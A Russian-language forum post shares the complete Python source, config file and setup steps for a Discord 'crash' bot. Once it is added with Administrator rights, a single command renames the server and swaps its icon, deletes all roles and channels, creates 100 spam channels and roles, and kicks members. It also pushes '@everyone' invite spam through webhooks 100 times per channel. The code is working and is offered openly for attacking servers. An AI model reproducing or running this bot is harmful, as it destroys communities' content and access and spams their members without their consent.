Сегодня я хочу предоставить Source Код моего личного бота для краша дискорд серверов, с ним вы можете трахнуть что угодно.- бот написан на Python 3.11+
- Что умеет бот?
- Изменяет название и иконку сервера
- Удаляет каналы и роли
- Создаёт множество каналов и ролей
- Кикает участников (для демонстрации прав администратора);
- Создаёт webhook и массово отправляет сообщения;
- Все параметры конфигурируются через config.json.
САМ КОД В КОНЦЕ 
Настройка:
1. Установите зависимости, проще говоря библы.
Код:
pip install discord.py aiohttp
2. Составьте структуру для бота, она должна выглядеть так
Код:
Crash/
│
├── main.py # основной скрипт бота
├── start.bat # батник для запуска
├── config.json # настройки в JSON
├── crashed.jpg # иконка
3. Создайте Appication и Token для вашего Трах-бота
- Создайте себе Aplication на https://discord.com/developers
- Также создайте ссылку в oauth2 для использования вашего бота на практике.
Код:
oauth2
├Scopes - bot
├Bot Permissions - Administrator
- Ваши настройки должны выглядеть так:
4. Заполните свои данные в Json конфиге
Содержимое config.json
Код:
{
"guild_name": "Переезд на",
"guild_icon": "crashed.jpg",
"role_name": "CRASH BY",
"channel_name": "CRASH BY",
"kick_reason": "Вы крашнуты!",
"role_delete_reason": "Вы крашнуты!",
"channel_delete_reason": "Вы крашнуты!",
"webhook_name": "NAME",
"webhook_message": "@everyone Переезд на https://discord.gg/crashed",
"webhook_username": "Crashed",
"webhook_repeat": 100,
"spam_channel_count": 100,
"spam_role_count": 100,
"token": "Ваш Токен"
}
Чаво и где заполнять blyat`
- "guild_name": "Переезд на Name", Название которое будет стоять после краша
- "guild_icon": "crashed.jpg", Укажите файл картинки которая будет стоять на сервере
- "role_name": "CRASH BY", Имена созданных ролей
- "channel_name": "CRASH BY", Имена созданных каналов
- "kick_reason": "Вы крашнуты!", Причина кика
- "role_delete_reason": "Вы крашнуты!", Причина удаления ролей
- "channel_delete_reason": "Вы крашнуты!", Причина удаления каналов
- "webhook_name": "NAME", Имя вебхуков (Имя того что будет спамить)
- "webhook_message": "@everyone Переезд на https://discord.gg/crashed", Ваш текст для спама
- "webhook_username": "Crashed", Имя Спамера
- "webhook_repeat": 100, Повторения спама
- "spam_channel_count": 100, Количество сообщений
- "spam_role_count": 100, Количество созданных ролей
- "token": "Ваш Токен" Токен от бота
5. Сам код и конфиг
/main.py
Python:
import discord
from discord.ext import commands
import asyncio
import aiohttp
import json
with open('config.json', 'r', encoding='utf-8') as f:
config = json.load(f)
intents = discord.Intents.default()
intents.members = True
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)
bot.remove_command("help")
@bot.command()
async def Trah(ctx):
guild = ctx.guild
with open(config['guild_icon'], 'rb') as f:
icon = f.read()
await guild.edit(name=config['guild_name'], icon=icon)
await ctx.message.delete()
for role in guild.roles:
try:
await role.delete(reason=config['role_delete_reason'])
except:
pass
for channel in guild.channels:
try:
await channel.delete(reason=config['channel_delete_reason'])
except:
pass
for _ in range(config['spam_channel_count']):
await guild.create_text_channel(config['channel_name'])
for _ in range(config['spam_role_count']):
await guild.create_role(name=config['role_name'])
for member in guild.members:
try:
await member.kick(reason=config['kick_reason'])
except:
pass
@bot.event
async def on_guild_channel_create(channel):
webhook = await channel.create_webhook(name=config['webhook_name'])
async with aiohttp.ClientSession() as session:
webhook = discord.Webhook.from_url(str(webhook.url), session=session)
for _ in range(config['webhook_repeat']):
try:
await webhook.send(config['webhook_message'], username=config['webhook_username'])
except:
pass
bot.run(config["token"])
/config.json
Код:
{
"guild_name": "Переезд на Name",
"guild_icon": "crashed.jpg",
"role_name": "CRASH BY",
"channel_name": "CRASH BY",
"kick_reason": "Вы крашнуты!",
"role_delete_reason": "Вы крашнуты!",
"channel_delete_reason": "Вы крашнуты!",
"webhook_name": "NAME",
"webhook_message": "@everyone Переезд на https://discord.gg/crashed",
"webhook_username": "Crashed",
"webhook_repeat": 100,
"spam_channel_count": 100,
"spam_role_count": 100,
"token": "Ваш Токен"
}
/start.bat
Код:
cmd.exe /k "python main.py"
-------------------------------------------------------------
Дорогие друзья, искренне благодарю за чтение моей статьи, бот мой и я старался расписать более подробно, жду ваших реакций.
Как говорил Леонид Ильич
Критика не шоколад, чтобы её любить.